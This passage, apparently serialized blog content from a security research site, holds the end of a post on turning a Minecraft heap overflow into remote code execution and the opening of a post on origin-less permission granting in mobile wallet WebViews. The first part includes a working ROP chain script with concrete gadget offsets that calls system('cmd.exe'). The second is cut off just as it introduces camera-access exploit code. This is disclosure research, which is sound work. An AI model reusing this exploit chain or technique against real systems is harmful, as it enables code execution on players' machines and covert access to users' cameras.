",{"type":24,"tag":32,"props":155488,"children":155490},{"className":155489},[],[155491],{"type":29,"value":155492},"rsp",{"type":29,"value":155494}," into our ROP region. After the ",{"type":24,"tag":32,"props":155496,"children":155498},{"className":155497},[],[155499],{"type":29,"value":10738},{"type":29,"value":155501},", execution continues at ",{"type":24,"tag":32,"props":155503,"children":155505},{"className":155504},[],[155506],{"type":29,"value":155389},{"type":29,"value":155508},", which advances ",{"type":24,"tag":32,"props":155510,"children":155512},{"className":155511},[],[155513],{"type":29,"value":155492},{"type":29,"value":155515}," by ",{"type":24,"tag":32,"props":155517,"children":155519},{"className":155518},[],[155520],{"type":29,"value":44252},{"type":29,"value":155522}," bytes, skipping over the padding and the ",{"type":24,"tag":32,"props":155524,"children":155526},{"className":155525},[],[155527],{"type":29,"value":155396},{"type":29,"value":155529}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":24,"tag":32,"props":155531,"children":155533},{"className":155532},[],[155534],{"type":29,"value":155396},{"type":29,"value":155536},") begins executing.",{"type":24,"tag":1818,"props":155538,"children":155540},{"id":155539},"rop-chain",[155541],{"type":29,"value":155542},"ROP Chain",{"type":24,"tag":25,"props":155544,"children":155545},{},[155546,155548,155554,155556,155561],{"type":29,"value":155547},"For the demo, the ROP chain simply calls ",{"type":24,"tag":32,"props":155549,"children":155551},{"className":155550},[],[155552],{"type":29,"value":155553},"system(\"cmd.exe\")",{"type":29,"value":155555},". Because Minecraft does not use ",{"type":24,"tag":32,"props":155557,"children":155559},{"className":155558},[],[155560],{"type":29,"value":131285},{"type":29,"value":155562},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":24,"tag":25,"props":155564,"children":155565},{},[155566,155568,155574,155576,155582,155584,155589,155591,155597,155599,155604],{"type":29,"value":155567},"This is straightforward: the chain first calls ",{"type":24,"tag":32,"props":155569,"children":155571},{"className":155570},[],[155572],{"type":29,"value":155573},"GetModuleHandle(\"ucrtbase.dll\")",{"type":29,"value":155575}," to obtain the base address of ",{"type":24,"tag":32,"props":155577,"children":155579},{"className":155578},[],[155580],{"type":29,"value":155581},"ucrtbase.dll",{"type":29,"value":155583}," (which exports ",{"type":24,"tag":32,"props":155585,"children":155587},{"className":155586},[],[155588],{"type":29,"value":131285},{"type":29,"value":155590},"). It then calls ",{"type":24,"tag":32,"props":155592,"children":155594},{"className":155593},[],[155595],{"type":29,"value":155596},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":29,"value":155598}," to retrieve the function’s address. Finally, it invokes ",{"type":24,"tag":32,"props":155600,"children":155602},{"className":155601},[],[155603],{"type":29,"value":131285},{"type":29,"value":155605}," with the \"cmd.exe\" string.",{"type":24,"tag":25,"props":155607,"children":155608},{},[155609],{"type":29,"value":155610},"In the exploit script, the ROP chain looks something like this:",{"type":24,"tag":73,"props":155612,"children":155614},{"code":155613,"language":19200,"meta":7,"className":19201,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[155615],{"type":24,"tag":32,"props":155616,"children":155617},{"__ignoreMap":7},[155618,155626,155634,155659,155667,155675,155682,155690,155698,155725,155738,155751,155772,155801,155830,155837,155845,155858,155866,155902,155910,155917,155925,155932,155957,155968,155980],{"type":24,"tag":83,"props":155619,"children":155620},{"class":85,"line":86},[155621],{"type":24,"tag":83,"props":155622,"children":155623},{"style":2735},[155624],{"type":29,"value":155625},"# get the address of `GetModuleHandle` to `rax`\n",{"type":24,"tag":83,"props":155627,"children":155628},{"class":85,"line":113},[155629],{"type":24,"tag":83,"props":155630,"children":155631},{"style":107},[155632],{"type":29,"value":155633},"rop.gadget(pop_r8)\n",{"type":24,"tag":83,"props":155635,"children":155636},{"class":85,"line":128},[155637,155642,155646,155651,155655],{"type":24,"tag":83,"props":155638,"children":155639},{"style":107},[155640],{"type":29,"value":155641},"rop.gadget(addr_get_module_handle_a ",{"type":24,"tag":83,"props":155643,"children":155644},{"style":143},[155645],{"type":29,"value":4072},{"type":24,"tag":83,"props":155647,"children":155648},{"style":90},[155649],{"type":29,"value":155650}," 0x",{"type":24,"tag":83,"props":155652,"children":155653},{"style":245},[155654],{"type":29,"value":134402},{"type":24,"tag":83,"props":155656,"children":155657},{"style":107},[155658],{"type":29,"value":2905},{"type":24,"tag":83,"props":155660,"children":155661},{"class":85,"line":183},[155662],{"type":24,"tag":83,"props":155663,"children":155664},{"style":2735},[155665],{"type":29,"value":155666},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":24,"tag":83,"props":155668,"children":155669},{"class":85,"line":203},[155670],{"type":24,"tag":83,"props":155671,"children":155672},{"style":107},[155673],{"type":29,"value":155674},"rop.gadget(mov_rax_r8_28)\n",{"type":24,"tag":83,"props":155676,"children":155677},{"class":85,"line":212},[155678],{"type":24,"tag":83,"props":155679,"children":155680},{"emptyLinePlaceholder":16},[155681],{"type":29,"value":3422},{"type":24,"tag":83,"props":155683,"children":155684},{"class":85,"line":256},[155685],{"type":24,"tag":83,"props":155686,"children":155687},{"style":2735},[155688],{"type":29,"value":155689},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":24,"tag":83,"props":155691,"children":155692},{"class":85,"line":270},[155693],{"type":24,"tag":83,"props":155694,"children":155695},{"style":107},[155696],{"type":29,"value":155697},"rop.gadget(pop_rcx)\n",{"type":24,"tag":83,"props":155699,"children":155700},{"class":85,"line":302},[155701,155706,155711,155716,155720],{"type":24,"tag":83,"props":155702,"children":155703},{"style":107},[155704],{"type":29,"value":155705},"rop.gadget(",{"type":24,"tag":83,"props":155707,"children":155708},{"style":90},[155709],{"type":29,"value":155710},"0x",{"type":24,"tag":83,"props":155712,"children":155713},{"style":245},[155714],{"type":29,"value":155715},"7468B68",{"type":24,"tag":83,"props":155717,"children":155718},{"style":107},[155719],{"type":29,"value":633},{"type":24,"tag":83,"props":155721,"children":155722},{"style":2735},[155723],{"type":29,"value":155724},"# offset of \"ucrtbase.dll\" string\n",{"type":24,"tag":83,"props":155726,"children":155727},{"class":85,"line":324},[155728,155733],{"type":24,"tag":83,"props":155729,"children":155730},{"style":107},[155731],{"type":29,"value":155732},"rop.gadget(ret) ",{"type":24,"tag":83,"props":155734,"children":155735},{"style":2735},[155736],{"type":29,"value":155737},"# movaps alignment\n",{"type":24,"tag":83,"props":155739,"children":155740},{"class":85,"line":345},[155741,155746],{"type":24,"tag":83,"props":155742,"children":155743},{"style":107},[155744],{"type":29,"value":155745},"rop.gadget(push_rax_ret) ",{"type":24,"tag":83,"props":155747,"children":155748},{"style":2735},[155749],{"type":29,"value":155750},"# calls `GetModuleHandle`\n",{"type":24,"tag":83,"props":155752,"children":155753},{"class":85,"line":358},[155754,155759,155763,155768],{"type":24,"tag":83,"props":155755,"children":155756},{"style":107},[155757],{"type":29,"value":155758},"rop.literal(u64(",{"type":24,"tag":83,"props":155760,"children":155761},{"style":90},[155762],{"type":29,"value":2968},{"type":24,"tag":83,"props":155764,"children":155765},{"style":187},[155766],{"type":29,"value":155767},"\"ucrtbase\"",{"type":24,"tag":83,"props":155769,"children":155770},{"style":107},[155771],{"type":29,"value":19452},{"type":24,"tag":83,"props":155773,"children":155774},{"class":85,"line":367},[155775,155779,155783,155788,155793,155797],{"type":24,"tag":83,"props":155776,"children":155777},{"style":107},[155778],{"type":29,"value":155758},{"type":24,"tag":83,"props":155780,"children":155781},{"style":90},[155782],{"type":29,"value":2968},{"type":24,"tag":83,"props":155784,"children":155785},{"style":187},[155786],{"type":29,"value":155787},"\".dll",{"type":24,"tag":83,"props":155789,"children":155790},{"style":48092},[155791],{"type":29,"value":155792},"\\x00\\x00\\x00\\x00",{"type":24,"tag":83,"props":155794,"children":155795},{"style":187},[155796],{"type":29,"value":19800},{"type":24,"tag":83,"props":155798,"children":155799},{"style":107},[155800],{"type":29,"value":19452},{"type":24,"tag":83,"props":155802,"children":155803},{"class":85,"line":406},[155804,155808,155812,155817,155822,155826],{"type":24,"tag":83,"props":155805,"children":155806},{"style":107},[155807],{"type":29,"value":155758},{"type":24,"tag":83,"props":155809,"children":155810},{"style":90},[155811],{"type":29,"value":2968},{"type":24,"tag":83,"props":155813,"children":155814},{"style":187},[155815],{"type":29,"value":155816},"\"system",{"type":24,"tag":83,"props":155818,"children":155819},{"style":48092},[155820],{"type":29,"value":155821},"\\x00\\x00",{"type":24,"tag":83,"props":155823,"children":155824},{"style":187},[155825],{"type":29,"value":19800},{"type":24,"tag":83,"props":155827,"children":155828},{"style":107},[155829],{"type":29,"value":19452},{"type":24,"tag":83,"props":155831,"children":155832},{"class":85,"line":427},[155833],{"type":24,"tag":83,"props":155834,"children":155835},{"emptyLinePlaceholder":16},[155836],{"type":29,"value":3422},{"type":24,"tag":83,"props":155838,"children":155839},{"class":85,"line":440},[155840],{"type":24,"tag":83,"props":155841,"children":155842},{"style":2735},[155843],{"type":29,"value":155844},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":24,"tag":83,"props":155846,"children":155847},{"class":85,"line":449},[155848,155853],{"type":24,"tag":83,"props":155849,"children":155850},{"style":107},[155851],{"type":29,"value":155852},"rop.gadget(xchg_rcx_rax) ",{"type":24,"tag":83,"props":155854,"children":155855},{"style":2735},[155856],{"type":29,"value":155857},"# move the return value of `GetModuleHandle` to rcx\n",{"type":24,"tag":83,"props":155859,"children":155860},{"class":85,"line":458},[155861],{"type":24,"tag":83,"props":155862,"children":155863},{"style":107},[155864],{"type":29,"value":155865},"rop.gadget(pop_rdx)\n",{"type":24,"tag":83,"props":155867,"children":155868},{"class":85,"line":1065},[155869,155873,155877,155881,155885,155889,155893,155897],{"type":24,"tag":83,"props":155870,"children":155871},{"style":107},[155872],{"type":29,"value":155705},{"type":24,"tag":83,"props":155874,"children":155875},{"style":90},[155876],{"type":29,"value":155710},{"type":24,"tag":83,"props":155878,"children":155879},{"style":245},[155880],{"type":29,"value":155715},{"type":24,"tag":83,"props":155882,"children":155883},{"style":143},[155884],{"type":29,"value":8649},{"type":24,"tag":83,"props":155886,"children":155887},{"style":90},[155888],{"type":29,"value":155650},{"type":24,"tag":83,"props":155890,"children":155891},{"style":245},[155892],{"type":29,"value":88966},{"type":24,"tag":83,"props":155894,"children":155895},{"style":107},[155896],{"type":29,"value":633},{"type":24,"tag":83,"props":155898,"children":155899},{"style":2735},[155900],{"type":29,"value":155901},"# offset of \"system\" string\n",{"type":24,"tag":83,"props":155903,"children":155904},{"class":85,"line":1668},[155905],{"type":24,"tag":83,"props":155906,"children":155907},{"style":107},[155908],{"type":29,"value":155909},"rop.gadget(get_proc_addr)\n",{"type":24,"tag":83,"props":155911,"children":155912},{"class":85,"line":1713},[155913],{"type":24,"tag":83,"props":155914,"children":155915},{"emptyLinePlaceholder":16},[155916],{"type":29,"value":3422},{"type":24,"tag":83,"props":155918,"children":155919},{"class":85,"line":1730},[155920],{"type":24,"tag":83,"props":155921,"children":155922},{"style":2735},[155923],{"type":29,"value":155924},"# call `system(\"cmd.exe\")`\n",{"type":24,"tag":83,"props":155926,"children":155927},{"class":85,"line":1770},[155928],{"type":24,"tag":83,"props":155929,"children":155930},{"style":107},[155931],{"type":29,"value":155697},{"type":24,"tag":83,"props":155933,"children":155934},{"class":85,"line":1778},[155935,155939,155943,155948,155952],{"type":24,"tag":83,"props":155936,"children":155937},{"style":107},[155938],{"type":29,"value":155705},{"type":24,"tag":83,"props":155940,"children":155941},{"style":90},[155942],{"type":29,"value":155710},{"type":24,"tag":83,"props":155944,"children":155945},{"style":245},[155946],{"type":29,"value":155947},"7468DB8",{"type":24,"tag":83,"props":155949,"children":155950},{"style":107},[155951],{"type":29,"value":633},{"type":24,"tag":83,"props":155953,"children":155954},{"style":2735},[155955],{"type":29,"value":155956},"# offset of \"cmd.exe\" string\n",{"type":24,"tag":83,"props":155958,"children":155959},{"class":85,"line":1803},[155960,155964],{"type":24,"tag":83,"props":155961,"children":155962},{"style":107},[155963],{"type":29,"value":155732},{"type":24,"tag":83,"props":155965,"children":155966},{"style":2735},[155967],{"type":29,"value":155737},{"type":24,"tag":83,"props":155969,"children":155970},{"class":85,"line":1811},[155971,155975],{"type":24,"tag":83,"props":155972,"children":155973},{"style":107},[155974],{"type":29,"value":155745},{"type":24,"tag":83,"props":155976,"children":155977},{"style":2735},[155978],{"type":29,"value":155979},"# calls `system`\n",{"type":24,"tag":83,"props":155981,"children":155982},{"class":85,"line":8792},[155983,155987,155991,155996,156001,156005],{"type":24,"tag":83,"props":155984,"children":155985},{"style":107},[155986],{"type":29,"value":155758},{"type":24,"tag":83,"props":155988,"children":155989},{"style":90},[155990],{"type":29,"value":2968},{"type":24,"tag":83,"props":155992,"children":155993},{"style":187},[155994],{"type":29,"value":155995},"\"cmd.exe",{"type":24,"tag":83,"props":155997,"children":155998},{"style":48092},[155999],{"type":29,"value":156000},"\\x00",{"type":24,"tag":83,"props":156002,"children":156003},{"style":187},[156004],{"type":29,"value":19800},{"type":24,"tag":83,"props":156006,"children":156007},{"style":107},[156008],{"type":29,"value":19452},{"type":24,"tag":1818,"props":156010,"children":156012},{"id":156011},"demo",[156013],{"type":29,"value":156014},"Demo",{"type":24,"tag":25,"props":156016,"children":156017},{},[156018],{"type":29,"value":156019},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":24,"tag":131391,"props":156021,"children":156024},{"className":156022,"controls":16},[141358,156023],"blog-video-wide",[156025,156026,156030],{"type":29,"value":141361},{"type":24,"tag":140597,"props":156027,"children":156029},{"src":156028,"type":131389},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":29,"value":141367},{"type":24,"tag":51,"props":156032,"children":156033},{"id":28683},[156034],{"type":29,"value":18686},{"type":24,"tag":25,"props":156036,"children":156037},{},[156038],{"type":29,"value":156039},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":24,"tag":25,"props":156041,"children":156042},{},[156043],{"type":29,"value":156044},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":24,"tag":25,"props":156046,"children":156047},{},[156048],{"type":29,"value":156049},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":24,"tag":2584,"props":156051,"children":156052},{},[156053],{"type":29,"value":2588},{"title":7,"searchDepth":113,"depth":113,"links":156055},[156056,156060,156065,156076],{"id":146716,"depth":113,"text":146719,"children":156057},[156058,156059],{"id":146751,"depth":128,"text":146754},{"id":146767,"depth":128,"text":146770},{"id":146788,"depth":113,"text":146791,"children":156061},[156062,156063,156064],{"id":146804,"depth":128,"text":146807},{"id":146892,"depth":128,"text":146895},{"id":149192,"depth":128,"text":149195},{"id":5164,"depth":113,"text":5167,"children":156066},[156067,156068,156069,156070,156071,156072,156073,156074,156075],{"id":149299,"depth":128,"text":149302},{"id":149324,"depth":128,"text":149327},{"id":149461,"depth":128,"text":149464},{"id":151625,"depth":128,"text":151628},{"id":151987,"depth":128,"text":151990},{"id":152807,"depth":128,"text":152810},{"id":154921,"depth":128,"text":154924},{"id":155539,"depth":128,"text":155542},{"id":156011,"depth":128,"text":156014},{"id":28683,"depth":113,"text":18686},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":156081,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":156082,"description":156083,"date":156084,"author":156085,"image":156087,"isFeatured":16,"onBlogPage":16,"tags":156089,"body":156091,"_type":2606,"_id":158414,"_source":2608,"_file":158415,"_stem":158416,"_extension":2611},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[30952,11,156086],"nikolaos",{"src":156088,"width":14,"height":15},"/posts/insecure-webview-integrations/title.png",[31880,131497,156090],"webview",{"type":21,"children":156092,"toc":158401},[156093,156098,156103,156109,156114,156119,156124,156130,156135,156141,156163,156176,156196,156210,156216,156230,156238,156243,156249,156254,156263,156284,156428,156433,156439,156444,156449,156463,156467,156472,156490,157918,157922,157927,157939,157948,157953,157959,157981,157989,157994,158000,158005,158023,158028,158034,158047,158329,158357,158370,158375,158388,158392,158397],{"type":24,"tag":25,"props":156094,"children":156095},{},[156096],{"type":29,"value":156097},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":24,"tag":25,"props":156099,"children":156100},{},[156101],{"type":29,"value":156102},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":24,"tag":35107,"props":156104,"children":156106},{"id":156105},"exploiting-mobile-webviews",[156107],{"type":29,"value":156108},"Exploiting Mobile WebViews",{"type":24,"tag":25,"props":156110,"children":156111},{},[156112],{"type":29,"value":156113},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":24,"tag":25,"props":156115,"children":156116},{},[156117],{"type":29,"value":156118},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":24,"tag":25,"props":156120,"children":156121},{},[156122],{"type":29,"value":156123},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":24,"tag":51,"props":156125,"children":156127},{"id":156126},"handling-webview-permissions",[156128],{"type":29,"value":156129},"Handling WebView permissions",{"type":24,"tag":25,"props":156131,"children":156132},{},[156133],{"type":29,"value":156134},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":24,"tag":1818,"props":156136,"children":156138},{"id":156137},"android",[156139],{"type":29,"value":156140},"Android",{"type":24,"tag":25,"props":156142,"children":156143},{},[156144,156146,156153,156155,156161],{"type":29,"value":156145},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":24,"tag":2033,"props":156147,"children":156150},{"href":156148,"rel":156149},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[2037],[156151],{"type":29,"value":156152},"onPermissionRequest",{"type":29,"value":156154},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":24,"tag":32,"props":156156,"children":156158},{"className":156157},[],[156159],{"type":29,"value":156160},"PermissionRequest",{"type":29,"value":156162}," object where the WebView developers must decide whether to grant or deny it.",{"type":24,"tag":2677,"props":156164,"children":156165},{},[156166],{"type":24,"tag":25,"props":156167,"children":156168},{},[156169,156171,156174],{"type":29,"value":156170},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":24,"tag":83,"props":156172,"children":156173},{},[],{"type":29,"value":156175},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":24,"tag":25,"props":156177,"children":156178},{},[156179,156181,156187,156189,156195],{"type":29,"value":156180},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":24,"tag":32,"props":156182,"children":156184},{"className":156183},[],[156185],{"type":29,"value":156186},"getOrigin()",{"type":29,"value":156188}," and the requested permissions with ",{"type":24,"tag":32,"props":156190,"children":156192},{"className":156191},[],[156193],{"type":29,"value":156194},"getResources()",{"type":29,"value":161},{"type":24,"tag":25,"props":156197,"children":156198},{},[156199,156201,156208],{"type":29,"value":156200},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":24,"tag":2033,"props":156202,"children":156205},{"href":156203,"rel":156204},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[2037],[156206],{"type":29,"value":156207},"webview_shell",{"type":29,"value":156209},". In this instance, no origin checks are performed.",{"type":24,"tag":1818,"props":156211,"children":156213},{"id":156212},"ios",[156214],{"type":29,"value":156215},"iOS",{"type":24,"tag":25,"props":156217,"children":156218},{},[156219,156221,156228],{"type":29,"value":156220},"On the contrary, iOS ",{"type":24,"tag":2033,"props":156222,"children":156225},{"href":156223,"rel":156224},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[2037],[156226],{"type":29,"value":156227},"documentation",{"type":29,"value":156229}," states that:",{"type":24,"tag":2677,"props":156231,"children":156232},{},[156233],{"type":24,"tag":25,"props":156234,"children":156235},{},[156236],{"type":29,"value":156237},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":24,"tag":25,"props":156239,"children":156240},{},[156241],{"type":29,"value":156242},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":24,"tag":51,"props":156244,"children":156246},{"id":156245},"the-shortcomings-of-webview-implementations",[156247],{"type":29,"value":156248},"The shortcomings of WebView implementations",{"type":24,"tag":25,"props":156250,"children":156251},{},[156252],{"type":29,"value":156253},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":24,"tag":31097,"props":156255,"children":156256},{"style":31099},[156257],{"type":24,"tag":2510,"props":156258,"children":156262},{"src":156259,"alt":156260,"style":156261},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":24,"tag":25,"props":156264,"children":156265},{},[156266,156268,156274,156276,156282],{"type":29,"value":156267},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":24,"tag":32,"props":156269,"children":156271},{"className":156270},[],[156272],{"type":29,"value":156273},"react-native-webview",{"type":29,"value":156275},". If we take a look at how they handle a request that reaches the ",{"type":24,"tag":2033,"props":156277,"children":156280},{"href":156278,"rel":156279},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[2037],[156281],{"type":29,"value":156152},{"type":29,"value":156283}," method, we see a similar pattern.",{"type":24,"tag":73,"props":156285,"children":156289},{"className":156286,"code":156287,"language":156288,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n    request.grant(grantedPermissions.toArray(new String[0]));\n    grantedPermissions = null;\n    return;\n}\n","java",[156290],{"type":24,"tag":32,"props":156291,"children":156292},{"__ignoreMap":7},[156293,156301,156330,156390,156410,156421],{"type":24,"tag":83,"props":156294,"children":156295},{"class":85,"line":86},[156296],{"type":24,"tag":83,"props":156297,"children":156298},{"style":2735},[156299],{"type":29,"value":156300},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":24,"tag":83,"props":156302,"children":156303},{"class":85,"line":113},[156304,156308,156312,156317,156321,156326],{"type":24,"tag":83,"props":156305,"children":156306},{"style":117},[156307],{"type":29,"value":1094},{"type":24,"tag":83,"props":156309,"children":156310},{"style":107},[156311],{"type":29,"value":223},{"type":24,"tag":83,"props":156313,"children":156314},{"style":137},[156315],{"type":29,"value":156316},"requestedAndroidPermissions",{"type":24,"tag":83,"props":156318,"children":156319},{"style":107},[156320],{"type":29,"value":161},{"type":24,"tag":83,"props":156322,"children":156323},{"style":101},[156324],{"type":29,"value":156325},"isEmpty",{"type":24,"tag":83,"props":156327,"children":156328},{"style":107},[156329],{"type":29,"value":91734},{"type":24,"tag":83,"props":156331,"children":156332},{"class":85,"line":128},[156333,156338,156342,156347,156351,156356,156360,156365,156369,156373,156378,156382,156386],{"type":24,"tag":83,"props":156334,"children":156335},{"style":137},[156336],{"type":29,"value":156337},"    request",{"type":24,"tag":83,"props":156339,"children":156340},{"style":107},[156341],{"type":29,"value":161},{"type":24,"tag":83,"props":156343,"children":156344},{"style":101},[156345],{"type":29,"value":156346},"grant",{"type":24,"tag":83,"props":156348,"children":156349},{"style":107},[156350],{"type":29,"value":558},{"type":24,"tag":83,"props":156352,"children":156353},{"style":137},[156354],{"type":29,"value":156355},"grantedPermissions",{"type":24,"tag":83,"props":156357,"children":156358},{"style":107},[156359],{"type":29,"value":161},{"type":24,"tag":83,"props":156361,"children":156362},{"style":101},[156363],{"type":29,"value":156364},"toArray",{"type":24,"tag":83,"props":156366,"children":156367},{"style":107},[156368],{"type":29,"value":558},{"type":24,"tag":83,"props":156370,"children":156371},{"style":117},[156372],{"type":29,"value":14864},{"type":24,"tag":83,"props":156374,"children":156375},{"style":3163},[156376],{"type":29,"value":156377}," String",{"type":24,"tag":83,"props":156379,"children":156380},{"style":107},[156381],{"type":29,"value":1161},{"type":24,"tag":83,"props":156383,"children":156384},{"style":245},[156385],{"type":29,"value":1166},{"type":24,"tag":83,"props":156387,"children":156388},{"style":107},[156389],{"type":29,"value":103045},{"type":24,"tag":83,"props":156391,"children":156392},{"class":85,"line":183},[156393,156398,156402,156406],{"type":24,"tag":83,"props":156394,"children":156395},{"style":107},[156396],{"type":29,"value":156397},"    grantedPermissions ",{"type":24,"tag":83,"props":156399,"children":156400},{"style":143},[156401],{"type":29,"value":1275},{"type":24,"tag":83,"props":156403,"children":156404},{"style":90},[156405],{"type":29,"value":69984},{"type":24,"tag":83,"props":156407,"children":156408},{"style":107},[156409],{"type":29,"value":321},{"type":24,"tag":83,"props":156411,"children":156412},{"class":85,"line":203},[156413,156417],{"type":24,"tag":83,"props":156414,"children":156415},{"style":117},[156416],{"type":29,"value":16725},{"type":24,"tag":83,"props":156418,"children":156419},{"style":107},[156420],{"type":29,"value":321},{"type":24,"tag":83,"props":156422,"children":156423},{"class":85,"line":212},[156424],{"type":24,"tag":83,"props":156425,"children":156426},{"style":107},[156427],{"type":29,"value":464},{"type":24,"tag":25,"props":156429,"children":156430},{},[156431],{"type":29,"value":156432},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":24,"tag":1818,"props":156434,"children":156436},{"id":156435},"real-world-exploitation",[156437],{"type":29,"value":156438},"Real world exploitation",{"type":24,"tag":25,"props":156440,"children":156441},{},[156442],{"type":29,"value":156443},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":24,"tag":25,"props":156445,"children":156446},{},[156447],{"type":29,"value":156448},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":24,"tag":25,"props":156450,"children":156451},{},[156452,156454,156461],{"type":29,"value":156453},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":24,"tag":2033,"props":156455,"children":156458},{"href":156456,"rel":156457},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[2037],[156459],{"type":29,"value":156460},"Justson",{"type":29,"value":156462},", used by a popular wallet in the Stellar ecosystem.",{"type":24,"tag":18631,"props":156464,"children":156465},{"id":39220},[156466],{"type":29,"value":34566},{"type":24,"tag":25,"props":156468,"children":156469},{},[156470],{"type":29,"value":156471},"In order to exploit this issue, we assume the following preconditions:",{"type":24,"tag":63,"props":156473,"children":156474},{},[156475,156480,156485],{"type":24,"tag":67,"props":156476,"children":156477},{},[156478],{"type":29,"value":156479},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":24,"tag":67,"props":156481,"children":156482},{},[156483],{"type":29,"value":156484},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":24,"tag":67,"props":156486,"children":156487},{},[156488],{"type":29,"value":156489},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the 